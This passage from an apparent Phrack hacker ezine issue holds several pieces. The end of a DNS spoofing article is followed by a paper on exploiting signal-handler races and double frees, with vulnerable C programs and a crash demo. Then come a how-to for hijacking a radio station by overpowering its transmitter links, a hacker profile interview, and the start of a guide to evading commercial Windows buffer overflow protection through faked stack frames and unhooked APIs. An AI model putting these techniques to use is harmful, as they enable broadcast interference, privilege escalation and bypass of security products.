in 1981 when the RFC was created and interoperability was more important than security. However, the Internet has changed from a somewhat trustworthy user base of representatives from educational institutions and the US Department of Defense to now include hackers and scammers, making security a high profile consideration. Perhaps it is time for software based on this outdated perception of the Internet to be changed as well. The Internet community continues to wait for widespread adoption of cryptographic digital signatures used to authenticate DNS transactions, as discussed in RFC 2535 (Domain Name System Security Extensions). In the meantime, the threat of DNS spoofing attacks could be minimised by Microsoft improving the DNS implementation in all of their affected operating systems. Such improvements include using random transaction ID values, checking that the name in a DNS reply matches the name to be resolved in the DNS request, and using a random source port for DNS requests. These improvements would make attacks against DNS client resolvers significantly more difficult to perform, and such improvements would not violate the RFC guidelines. |=----------------------------------------------------------------------=| |=----------------------------------------------------------------------=| ######################################## # Injecting signals for Fun and Profit # ######################################## by shaun2k2 --[ 1 - Introduction More secure programming is on the rise, eliminating more generic program exploitation vectors, such as stack-based overflows, heap overflows and symlink bugs. Despite this, subtle vulnerabilities are often overlooked during code audits, leaving so-called "secure" applications vulnerable to attack, but in a less obvious manner. Secure design of signal-handlers is often not considered, but I believe that this class of security holes deserves just as much attention as more generic classes of bugs, such as buffer overflow bugs. This paper intends to discuss problems faced when writing signal-handling routines, how to exploit the problems, and presents ideas of how to avoid such issues. A working knowledge of the C programming language and UNIX-like operating systems would benefit the reader greatly, but is certainly not essential. --[ 2 - Signal Handling: An Overview To understand what signal handlers are, one must first know what exactly a signal is. In brief, signals are notifications delivered to a process to alert the given process about "important" events concerning itself. For example, users of an application can send signals using common keyboard Ctrl combinations, such as Ctrl-C - which will send a SIGINT signal to the given process. Many different signals exist, but some of the more common (or useful) ones are: SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist, however. A list of available signals, according to the POSIX.1 standard, can be found in the unix manual page signal(7). It is worth noting that the signals SIGKILL and SIGSTOP cannot be handled, ignored or blocked. Their 'action' can not be changed. "What are signal handlers", one might ask. The simple answer is that signal handlers are small routines which are typically called when a pre-defined signal, or set of signals, is delivered to the process it is running under before the end of program execution - after execution flow has been directed to a signal handling function, all instructions within the handler are executed in turn. In larger applications, however, signal handling routines are often written to complete a more complex set of tasks to ensure clean termination of the program, such as; unlinking of tempory files, freeing of memory buffers, appending log messages, and freeing file descriptors and/or sockets. Signal handlers are generally defined as ordinary program functions, and are then defined as the default handler for a certain signal usually near to the beginning of the program. Consider the sample program below: --- sigint.c --- #include #include void sighndlr() { printf("Ctrl-C caught!\n"); exit(0); } int main() { signal(SIGINT, sighndlr); while(1) sleep(1); /* should never reach here */ return(0); } --- EOF --- 'sigint.c' specifies that the function 'sighndlr' should be given control of execution flow when a SIGINT signal is received by the program. The program sleeps "forever", or until a SIGINT signal is received - in which case the "Ctrl-C caught!" message is printed to the terminal - as seen below: --- output --- [root@localhost shaun]# gcc test.c -o test [root@localhost shaun]# ./test [... program sleeps ...] Ctrl-C caught! [root@localhost shaun]# --- EOF --- Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C combination at the keyboard, but a SIGINT signal can be generated by the kill(1) utility. However simple or complex the signal handler is, there are several potential pitfalls which must be avoided during the development of the handler. Although a signal handler may look "safe", problems may still arise, but may be less-obvious to the unsuspecting eye. There are two main classes of problems when dealing with signal-handler development - non-atomic process modifications, and non-reentrant code, both of which are potentially critical to system security. --[ 3 - Non-atomic Modifications Since signals can be delivered at almost any moment, and privileges often need to be maintained (i.e root privileges in a SUID root application) for obvious reasons (i.e for access to raw sockets, graphical resources, etc), signal handling routines need to be written with extra care. If they are not, and special privileges are held by the process at the particular time of signal delivery, things could begin to go wrong very quickly. What is meant by 'non-atomic' is that the change in the program isn't permanant - it will just be in place temporarily. To illustrate this, we will discuss a sample vulnerable program. Consider the following sample program: --- atomicvuln.c --- #include #include void sighndlr() { printf("Ctrl-C caught!\n"); printf("UID: %d\n", getuid()); /* other cleanup code... */ } int showuid() { printf("UID: %d\n", getuid()); return(0); } int main() { int origuid = getuid(); signal(SIGINT, sighndlr); setuid(0); sleep(5); setuid(origuid); showuid(); return(0); } --- EOF --- The above program should immediately spark up any security concious programmer's paranoia, but the insecurity isn't immediately obvious to everyone. As we can see from above, a signal handler is declared for 'SIGINT', and the program gives itself root privileges (so to speak). After a delay of around five seconds, the privileges are revoked, and the program is exited with success. However, if a SIGINT signal is received, execution is directed to the SIGINT handler, 'sighdlr()'. Let's look at some sample outputs: --- output --- [root@localhost shaun]# gcc test.c -o test [root@localhost shaun]# chmod +s test [root@localhost shaun]# exit exit [shaun@localhost shaun]$ ./test [... program sleeps 5 seconds ...] UID: 502 [shaun@localhost shaun]$ ./test [... CTRL-C is typed ...] Ctrl-C caught! UID: 0 UID: 502 [shaun@localhost shaun]$ --- EOF --- If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output should make things obvious; since the signal handling routine, 'sighdlr()', was called when root privileges were still possessed, the friendly printf() statements kindly tell us that our privileges are root (assuming the binary is SUID root). And just to prove our theory, if we simply allow the program to sleep for 5 seconds without sending an interrupt, the printf() statement kindly tells us that our UID is 502 - my actual UID - as seen above. With this, it is easy to understand where the flaw lies; if program execution can be interrupted between the time when superuser privileges are given, and the time when superuser privileges are revoked, the signal handling code *will* be ran with root privileges. Just imagine - if the signal handling routine included potentially sensitive code, compromisation of root privileges could occur. Although the sample program isn't an example of privilege escalation, it at least demonstrates how non-atomic modifications can present security issues when signal handling is involved. And do not assume that code similar to the sample program above isn't found in popular security critical applications in wide-spread use - it is. An example of vulnerable code similar to that of above which is an application in wide-spread use, see [1] in the bibliography. Non-reentrant Code ################### Although it may not be obvious (and it's not), some glibc functions just weren't designed to be reentered due to receipt of a signal, thus causing potential problems for signal handlers which use them. An example of such a function is the 'free()' function. According to 'free()'s man page, free() "frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc(). Other- wise, or if free(ptr) has already been called before, undefined behaviour occurs. If ptr is NULL, no operation is performed." As the man page snippet claims, free() can only be used to release memory which was allocated using 'malloc()', else "undefined behavior" occurs. More specifically, or in usual cases, the heap is corrupted, if free() is called on a memory area which has already been free()d. Because of this implementation design, reentrant signal routines which use 'free()' can be attacked. Consider the below sample vulnerable program: --- reentry.c --- #include #include #include #include #include void *data1, *data2; char *logdata; void sighdlr() { printf("Entered sighdlr()...\n"); syslog(LOG_NOTICE,"%s\n", logdata); free(data2); free(data1); sleep(10); exit(0); } int main(int argc, char *argv[]) { logdata = argv[1]; data1 = strdup(argv[2]); data2 = malloc(340); signal(SIGHUP, sighdlr); signal(SIGTERM, sighdlr); sleep(10); /* should never reach here */ return(0); } --- EOF --- The above program defines a signal handler which frees allocated heap memory, and sleeps for around 10 seconds. However, once the signal handler has been entered, signals are not blocked, and thus can still be freely delivered. As we learnt above, a duplicate call of free() on an already free()d memory area will result in "undefined behavior" - possibly corruption of the heap memory. As we can see, user-defined data is taken, and syslog() is also called fromo the sig handler function - but how does syslog() work? 'syslog()' creates a memory buffer stream, using two malloc() invokations - the first one allocates a 'stream description structure', whilst the other creates a buffer suitable for the actual syslog message data. This basis is essentially used to maintain a tempory copy of the syslog message. But why can this cause problems in context of co-usage of non-reentrant routines? To find the answer, let's experiment a little, by attempting to exploit the above program, which happens to be vulnerable. --- output --- [shaun@localhost shaun]$ ./test `perl -e 'print "a"x100'` `perl -e 'print "b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ; killall -TERM test [1] 2877 Entered sighdlr()... Entered sighdlr()... [1]+ Segmentation fault (core dumped) ./test `perl -e 'print "a"x100'` `perl -e 'print "b"x410'` [shaun@localhost shaun]$ gdb -c core.2877 GNU gdb 5.2.1-2mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu". Core was generated by `./test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. #0 0x4008e9bb in ?? () (gdb) info reg eax 0x61616161 1633771873 ecx 0x40138680 1075021440 edx 0x6965fa38 1768290872 ebx 0x4013c340 1075036992 esp 0xbfffeccc 0xbfffeccc ebp 0xbfffed0c 0xbfffed0c esi 0x80498d8 134519000 edi 0x61616160 1633771872 eip 0x4008e9bb 0x4008e9bb eflags 0x10206 66054 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 ---Type to continue, or q to quit--- fop 0x0 0 xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} mxcsr 0x0 0 orig_eax 0xffffffff -1 (gdb) quit [shaun@localhost shaun]$ --- EOF --- Interesting. As we can see above, our large string of 'a's has found its way into several program registers on stack - EAX and EDI. From this, we can assume we are witnessing the "undefined behavior" we discussed earlier, when the signal handler is reentered. When the sample vulnerable program receives the second signal (SIGTERM), since signals are not being ignored, the signal handler is reentered to handle this second signal, causing something to go very wrong. But why is this happening? Since the second memory region (*data2) was free()d during the first entry of the signal handler, syslog() re-uses this released memory for its own purposes - storing its syslog message, because as the short syslog() explanation above stated, two malloc() calls are present in most syslog() implementations, and thus it re-uses the newly free()d memory - *data2. After the usage of the memory once held as data2 by syslog(), a second 'free()' call is made on the memory region, because of reentry of the signal handler function. As the free(3) man page stated, undefined behavior *will* occur if the memory area was already free()d, and we happen to know that this was the case. So when 'free()' was called again on *data2, free() landed somewhere in the area containing the 'a's (hence 0x61 in hex), because syslog() had re-used the freed area to store the syslog message, temporarily. As the GDB output above illustrates, as long as user-input is used by 'syslog()' (and it is in this case), we have some control over the program registers, when this "undefined behavior" (corruption of heap in most cases) occurs. Because of this ability, exploitation is most likely a possibility - it is left as an exercise to the reader to play with this sample vulnerable program a little more, and determine if the vulnerability is exploitable. For the interested reader, 'free()' is not the only non-reentrant glibc function. In general, it can be assumed that all glibc functions which are NOT included within the following list are non-reentrant, and thus are not safe to be used in signal handlers. -- _exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3), cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2), close(2), creat(3), dup(2), dup2(2), execle(3), execve(2), fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2), geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2), getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2), mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3), read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2), setuid(2), sigaction(2), sigaddset(3), sigdelset(3), sigemptyset(3), sigfillset(3), sigismember(3), signal(3), sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2), sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3), tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3), tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2), utime(3), wait(2), waitpid(2), write(2)." -- Secure Signal Handling ####################### In general, signal handling vulnerabilities can be prevented by -- 1) Using only reentrant glibc functions within signal handlers - This safe-guards against the possibility of "undefined behavior" or otherwise as presented in the above example. However, this isn't *always* feasible, especially when a programmers needs to accomplish tasks such as freeing memory. Other counter-measures, in this case, can protect against this. See below. 2) ignoring signals during signal handling routines - As the obvious suggests, this programming practice will indefinately prevent handling of signals during the execution of signal handling routines, thus preventing signal handler reentry. Consider the following signal handler template: --- sighdlr.c --- void sighdlr() { signal(SIGINT, SIG_IGN); signal(SIGABRT, SIG_IGN); signal(SIGHUP, SIG_IGN); /* ...ignore other signals ... */ /* cleanup code here */ exit(0); } --- EOF --- As we can see above, signals are blocked before doing anything else in the signal handling routine. This guarantees against signal handler reentry (or almost does). 3) Ignoring signals whilst non-atomic process modifications are in place - This involves blocking signals, in a similar way to the above code snippet, during the execution of code with non-atomic modifications in place, such as code execution with superuser privileges. Consider the following code snippet: --- nonatomicblock.c --- /* code exec with non-atomic process modifications starts here... */ signal(SIGINT, SIG_IGN); signal(SIGABRT, SIG_IGN); signal(SIGHUP, SIG_IGN); /* block other signals if desired... */ setuid(0); /* sensitive code here */ setuid(getuid()); /* sensitive code ends here */ signal(SIGINT, SIG_DFL); signal(SIGABRT, SIG_DFL); signal(SIGHUP, SIG_DFL); /* ...code here... */ --- EOF --- Before executing privileged code, signals are blocked. After execution of the privileged code, privileges are dropped, and the signal action is set back to the default action. There are probably more ways of preventing signal vulnerabilities, but the three above should be enough to implement semi-safe signal handlers. Conclusion ########### I hope this paper has at least touched upon possible problems encountered when dealing with signals in C applications. If nothing else can be taken away from this paper, my aim is to have outlined that secure programming practices should always be applied when implementing signal handlers. Full stop. Remember this. If I have missed something out, given inaccurate information, or otherwise, please feel free to drop me a line at the email address at the top of the paper, providing your comments are nicely phrased. Recommended reading is presented in the Bibliography below. Bibliography ############# Recommended reading material is: -- "Delivering Signals for Fun and Profit" - http://razor.bindview.com/publish/papers/signals.txt, Michal Zalewski. Michal's paper was a useful resource when writing this paper, and many ideas were gained from this paper. Thanks Michal. "Introduction To Unix Signals Programming" - http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html,LUGPs. "Procmail insecure signal handling vulnerability" - http://xforce.iss.net/xforce/xfdb/6872 "Traceroute signal handling vulnerability" - http://lwn.net/2000/1012/a/traceroute.php3 "signal(2) man page" - http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal "signal(7) man page" - http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal -- Greets ####### Greets to: -- Friends at HDC (or former HDC members), excluded.org, #hackcanada, all @ GSO, rider (happy be-lated birthday!). All the other great people that I have met online. -- Thanks guys. Thank you for your time. Shaun. |=----------------------------------------------------------------------=| |=----------------------------------------------------------------------=| |=------------------=[ Pirating A Radio Station ]=----------------------=| by j kuinga" At many Radio Stations to cut costs they now do what is called "central casting." This is where many feeds are produced from one building and handled by a group of engineers. Why is this important? You could, disrupt the broadcast from the Central Site, to the tower site, and ¡§create¡¨ your own programming, without the hassles of buying a transmitter, getting the FCC licensing, and that type of thing. We're showing you two different ways to have some fun--by interrupting remote broadcasts, and by overtaking the radio station. Radio Stations typically have ¡§Marti¡¦s¡¨ which are mini-transmitters, and Marti Repeaters, typically in the 425-455 MHz Range. Some Ham Transmitters will work in this range, and if not, check your local radio surplus store. Marti¡¦s are typically used to rebroadcast High School Football and basketball games, as well as commercial "live events" and it¡¦s something as simple as over-powering the signal, in order to get your message through. Be forewarned, there typically is a live person on the other end of that transmitter¡Xthey¡¦re probably not paying attention, because they¡¦re getting paid $5.50/hour¡Xbut, they have they ability to turn you off. How to find the frequency? Well, you could always SE the engineer at the station and ask, however, most of them are grumpy old radio buffs, so you might not get anywhere. I suggest a good copy of ¡§Police Call,¡¨ which has a LOT of frequencies in there for things like radio stations. I use a home-made setup for finding particular frequencies out. Having some essential tools like a good, directional antenna, frequency counter, and very accurate transmitter, along with breadboard and essential components, typically are common in finding what you need to know. I also drive a Big White Van, complete with Mast and Bucket, so I can optimally 'place' the antenna at the right height and direction, that I obtained at a school auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a nice generator) Most Radio Stations doing this have what they call a ¡§STL,¡¨ or Studio to Transmitter Link. This is typically in the 800 or 900 Mhz range, and the same, general ideas apply. You find the general direction in which the antenna is pointed, then you overpower the signal. Since you (idealistically) would be within a few miles of the transmitter, not 30 or 50 miles like the Central-Casting spot, you would overpower the transmitter, and start your own pirate radio station. Most stations however, have an ¡§Air¡¨ monitor, and can turn the remote transmitter off by pressing a button on their STL. However, if you¡¦re closer to it, you¡¦ve got control until the station engineer comes down to manually pull the plug on your transmitter. If you see black vans with antennas and they look like they're doing sweeps, chances are, they're either a) with the audit crew of the local cable company, or b) looking for your ass. kuinga@hotmail.com |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat .bash_history ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10 |=---------------=[ P R O P H I L E O N S C U T ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=-----------------------------=| |=---=[ Specification Handle: scut AKA: "The Tower" Handle origin: Result of spelling "SCUD rocket" as a 12 year old when making up a handle catch him: by email scut@segfault.net Age of your body: 23 Produced in: West Germany Height & Weight: 198cm, 85kg Urlz: segfault.net/~scut/ Computers: COTS, anything goes ;) Member of: TESO Projects: exploitation methods, low level architecture wrangling, code analysis and transformation |=---=[ Favorite things Women: intelligent, humorous, self-confident and caring Cars: BMW = fast, functional and reliable Foods: Chinese, German cake Alcohol: Mixed drinks (Tequila + *), white wine Music: U2, 60-70'ies, ambient, new age Movies: Leon, Matrix Books & Authors: I dislike fiction, various scientific books Urls: phrack.org/ ;-), citeseer.ist.psu.edu/directory.html I like: digging some problem to the deepest level I dislike: unjustified authorities, arrogance, ignorance |=---=[ Life in 3 sentences Born 1980, I just lived a normal peaceful life in Germany. Finished school, high school quite well, went to the military service, started studying. Currently I am studying abroad and thats possibly the most exciting experience so far ;-) |=---=[ Passions | What makes you tick To create. In anything I do, I enjoy creating something and deepen my understanding of it. Somehow, however, I lose interest as soon as I think I could understand something completely, but that it would take too much effort. |=---=[ Which research have you done or which one gave you the most fun? Looking back on the few things I have done, I think it was always fun to tickle people intellectually. The most fun was writing burneye, a simple runtime binary encryption program. I learned lots while doing it and it had some minor impact aswell. Also I wrote a paper about format string vulnerabilities. This was fun to write and back at that time everybody was very curious about this newly discovered class of security vulnerabilities. The basic work was already done and it was fun just to make a few steps further. While its always the case that you have to base your work on someone else's, sometimes you get the feeling of doing something truly new or creative. Then, its always fun. |=---=[ Memorable Experiences CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots of fun together. Meeting interesting people, such as some of the ADM folks. All the CCC congresses and all the fun that comes with them: friends, beer, and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid. |=---=[ Quotes "The purpose of computing is insight, not numbers." - Richard W. Hamming |=---=[ Open Interview - General boring questions Q: When did you start to play with computers? A: Due to my father working in the computing field I was lucky to first tap some keys at the age of six, around 1985. First hooked up through games I quickly liked the idea to control the machine myself and was fascinated to write my first BASIC program on the C64 when I was nine. This fascination has not decreased ever since, though the languages and computers changed a lot ;-) Q: When did you had your first contact to the 'scene'? A: As many of todays people in the hacking scene, the natural path leads through the warez and cracking realms. In 1995 I was browsing some BBS's and thats how I was drawn into that scene. Then, in the following two years, I moved away from Windows/Warez to more Linux/Programming, and more or less by end of 1997 I was completely into this thing. Q: When did you for your first time connect to the internet? A: Through the German Telekom BTX internet gateway, that must have been 1995. Q: What other hobbies do you have? A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other sports, having fun with friends. Learning Chinese. Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined? A: #warez.de in 1996 on IrcNet. Q: What's your architecture / OS of choice? A: IA32 with Debian/sid. Its constantly updated, the packagers know their stuff and its a system by and for developers. I love it. |=---=[ Open Interview - More interesting questions Q: Who founded TESO and what's the meaning of the name? A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian hackers. Q: What's TESO up to these days? A: I would like to describe us as not active anymore. There are a couple of reasons for this. One is the natural shift of interest of members, such as when growing up and having a daytime job. But more importantly, the most previously most active members do not release their work under the TESO label anymore. Sometime ago, we also had internal trust problems where we did not know who leaked our internal stuff. This lead to general distrust and some developing stopped or slowed due to that. Sad thing. Q: You have helped phrack in many occasions. What do you think about Phrack? What suggestions do you have for phrack? A: I think phrack is the single best starting point for anyone seriously interested in learning how to become a real low level hacker. One could start ten issues in the past and gradually sharpen the skills to almost the today's cutting edge. The style, quality and focus of the articles is very diverse and always makes for an interesting read. In the past year, Phrack started to work closer with the authors of the articles to produce higher quality articles for the readers. This is a great idea! Maybe further steps into this direction could follow. For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc. Q: What are you up to these days? How has the scene-life influenced your lifestyle, goals and personality? A: Nowadays, I am more of a computer science student than a scene member. The scene did not change me so much. Its a great place to meet intelligent people and to discuss new ideas. Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened? A: The worst was a bad long term development with an even worse backlash: the commercialization of the network security field. When the Internet really boomed, everybody was out to make a buck from selling security related products and services. A lot of former hackers "sold out". While its their personal choice to work in the security business and such business is not necessarily evil, for the scene it wasn't all that great. The worse result has been the gap between once united hackers. Some people drew a more or less arbitrary line of black-/whitehatism and started dividing the scene even further. The result you can see nowadays is that there are some separated groups in the scene piling up non public knowledge, while the "entry level skill" required to really be in the scene is increased and less people get into the scene. Those knowledgeable groups still have "whitehats" among their members, but nobody cares, because for the group it just works well and everybody within wins. On a wider scale, everybody loses and the cooperation and development of really creative new stuff is slowed and the scene shrinks. Fresh talented people wanting to get into the scene have no choice but to found their own teams. The best thing for the scene were and still are the hacker events organized all around the world. They are a great contact point of the hackers and to the outside world. Q: If you could turn the clock backwards, what would you do different in your young life ? A: Be more relaxed about people posting my stuff although I did not wanted it to be public. It just caused trouble for everybody and in the end its more a fault on my side than on theirs. =---=[ One word comments [give a 1-word comment to each of the words on the left] IRC : timeconsumptive TESO : dreamteam ADM : pioneers Hacker meetings : melting-pot Whitehats : do not always wear white hats Blackhats : do not always wear black hats |=---=[ Please tell our audience a worst case scenario into what the scene might turn into. The extension to the bad development that already took place and I described in an earlier answer would include more company driven actions and sell outs. Possibly the worst long term thing for the scene would be a decrease in the scene's lose "infrastructure", such as magazines and conferences. This could be the result of stricter laws against hackers and already takes place in some countries. Imagine if the typical hacker conferences would be outlawed or strictly observed. Imagine when magazines such as Phrack would be shutdown. Imagine if groups like THC and websites like Packetstorm would be shutdown. That would be a bad development. |=---=[ And if everything works out fine? What's the best case scenario you can imagine? The scene would be driven by discussions, new inventions, creative hacking stunts and a large number social events. Hackers would stick closer together, yet share more of their work, yet allowing newcomers to learn. People would not crawl for fame on mailing lists but would honestly respect each other. To archieve this ideal, things that unite all hackers have to be valued more. All hackers share the enthusiasm for technology and creativity. Creativity is seldomly the result of sitting alone in a locked down room, but quite the opposite the result of many diverse ideas and discussions among intelligent people. If the environment hackers interact with each others in permits for exchange of ideas without getting ripped off by companies or other hackers, this would result in a great scene. |=---=[ Any suggestions/comments/flames to the scene and/or specific people? I think some young talents are really doing a great job. Keep going! |=---=[ Shoutouts & Greetings hendy, for being a long time trustable, reliable and humorous friend. stealth, die andere Nase, for intellectual challenges and always coming up with really cool stuff. Halvar, skyper, gamma for making the hacker events real fun and organizing everything. lorian, for being a smart guy. acpizer, for his wisdom and stubborness. The folks at THC and ADM for doing really cool stuff. |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10 |=-----------------------------------------------------------------------=| |=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=| |=-----------------------------------------------------------------------=| |=--------------=[ anonymous ]=-------------=| |=--------------=[ anonymous permissions & WRITABLE) return BUFFER_OVERFLOW; ret = page_originates_from_file( page ); if (ret != TRUE) return BUFFER_OVERFLOW; [-----------------------------------------------------------] Pseudo code for code page permission checking Buffer overflow protection technologies (BOPT) that rely on stack backtracing don't actually create non-executable heap and stack segments. Instead they hook the OS and check for shellcode execution during the hooked API calls. Most operating systems can be hooked in userland or in kernel. Next section deals with evading kernel hooks, while section 4 deals with bypassing userland hooks. --[ 3 - Evading Kernel Hooks When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must be able to detect where a userland API call originated. Due to the heavy use of kernel32.dll and ntdll.dll libraries, an API call is usually several stack frames away from the actual syscall trap call. For this reason, some intrusion preventions systems rely on using stack backtracing to locate the original caller of a system call. ----[ 3.1 - Kernel Stack Backtracing While stack backtracing can occur from either userland or kernel, it is far more important for the kernel components of a BOPT than its userland components. The existing commercial BOPT's kernel components rely entirely on stack backtracing to detect shellcode execution. Therefore, evading a kernel hook is simply a matter of defeating the stack backtracing mechanism. Stack backtracing involves traversing stack frames and verifying that the return addresses pass the buffer overflow detection tests described above. Frequently, there is also an additional "return into libc" check, which involves checking that a return address points to an instruction immediately following a call or a jump. The basic operation of stack backtracing code, as used by a BOPT, is presented below. [-----------------------------------------------------------] while (is_valid_frame_pointer( ebp )) { ret_addr = get_ret_addr( ebp ); if (check_code_page(ret_addr) == BUFFER_OVERFLOW) return BUFFER_OVERFLOW; if (does_not_follow_call_or_jmp_opcode(ret_addr)) return BUFFER_OVERFLOW; ebp = get_next_frame( ebp ); } [-----------------------------------------------------------] Pseudo code for BOPT stack backtracing When discussing how to evade stack backtracing, it is important to understand how stack backtracing works on an x86 architecture. A typical stack frame looks as follows during a function call: : : |-------------------------| | function B parameter #2 | |-------------------------| | function B parameter #1 | |-------------------------| | return EIP address | |-------------------------| | saved EBP | |=========================| | function A parameter #2 | |-------------------------| | function A parameter #1 | |-------------------------| | return EIP address | |-------------------------| | saved EBP | |-------------------------| : : The EBP register points to the next stack frame. Without the EBP register it is very hard, if not impossible, to correctly identify and trace through all the stack frames. Modern compilers often omit the use of EBP as a frame pointer and use it as a general purpose register instead. With an EBP optimization, a stack frame looks as follows during a function call: |-----------------------| | function parameter #2 | |-----------------------| | function parameter #1 | |-----------------------| | return EIP address | |-----------------------| Notice that the EBP register is not present on the stack. Without an EBP register it is not possible for the buffer overflow detection technologies to accurately perform stack backtracing. This makes their task incredibly hard as a simple return into libc style attack will bypass the protection. Simply originating an API call one layer higher than the BOPT hook defeats the detection technique. ----[ 3.2 - Faking Stack Frames Since the stack is under complete control of the shellcode, it is possible to completely alter its contents prior to an API call. Specially crafted stack frames can be used to bypass the buffer overflow detectors. As was explained previously, the buffer overflow detector is looking for three key indicators of legitimate code: read-only page permissions, memory mapped file section and a return address pointing to an instruction immediately following a call or jmp. Since function pointers change calling semantics, BOPT do not (and cannot) check that a call or jmp actually points to the API being called. Most importantly, the BOPT cannot check return addresses beyond the last valid EBP frame pointer (it cannot stack backtrace any further). Evading a BOPT is therefore simply a matter of creating a "final" stack frame which has a valid return address. This valid return address must point to an instruction residing in a read-only memory mapped file section and immediately following a call or jmp. Provided that the dummy return address is reasonably close to a second return address, the shellcode can easily regain control. The ideal instruction sequence to point the dummy return address to is: [-----------------------------------------------------------] jmp [eax] ; or call [eax], or another register dummy_return: ... ; some number of nops or easily ; reversed instructions, e.g. inc eax ret ; any return will do, e.g. ret 8 [-----------------------------------------------------------] Bypassing kernel BOPT components is easy because they must rely on user controlled data (the stack) to determine the validity of an API call. By correctly manipulating the stack, it is possible to prematurely terminate the stack return address analysis. This stack backtracing evasion technique is also effective against userland hooks (see section 4.6). --[ 4 - Evading Userland Hooks Given the presence of the correct instruction sequence in a valid region of memory, it is possible to trivially bypass kernel buffer overflow protection techniques. Similar techniques can be used to bypass userland BOPT components. In addition, since the shellcode executes with the same permissions as the userland hooks, a number of other techniques can be used to evade the detection. ----[ 4.1 - Implementation Problems - Incomplete API Hooking There are many problems with the userland based buffer overflow protection technologies. For example, they require the buffer overflow protection code to be in the code path of all attacker's calls or the shellcode execution will go undetected. Trying to determine what an attacker will do with his or her shellcode a priori is an extremely hard problem, if not an impossible one. Getting on the right path is not easy. Some of the obstacles in the way include: a. Not accounting for both UNICODE and ANSI versions of a Win32 API call. b. Not following the chaining nature of API calls. For example, many functions in kernel32.dll are nothing more than wrappers for other functions within kernel32.dll or ntdll.dll. c. The constantly changing nature of the Microsoft Windows API. --------[ 4.1.1 - Not Hooking All API Versions A commonly encountered mistake with userland API hooking implementations is incomplete code path coverage. In order for an API interception based products to be effective, all APIs utilized by attackers must be hooked. This requires the buffer overflow protection technology to hook somewhere along the code path an attacker _has_ to take. However, as will be shown, once an attacker has begun executing code, it becomes very difficult for third party systems to cover all code paths. Indeed, no tested commercial buffer overflow detector actually provided an effective code path coverage. Many Windows API functions have two versions: ANSI and UNICODE. The ANSI function names usually end in A, and UNICODE functions end in W because of their wide character nature. The ANSI functions are often nothing more than wrappers that call the UNICODE version of the API. For example, CreateFileA takes the ANSI file name that was passed as a parameter and turns it into an UNICODE string. It then calls CreateFileW. Unless a vendor hooks both the UNICODE and ANSI version of the API function, an attacker can bypass the protection mechanism by simply calling the other version of the function. For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt to intercept LoadLibraryW. If a protection mechanism was only going to hook one version of a function, it would make more sense to hook the UNICODE version. For this particular function, Okena/CSA does a better job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and LoadLibraryExW. Unfortunately for the third party buffer overflow detectors, simply hooking more functions in kernel32.dll is not enough. --------[ 4.1.2 - Not Hooking Deeply Enough In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many buffer overflow detection products do not hook functions within ntdll.dll. This simple error is similar to not hooking both the UNICODE 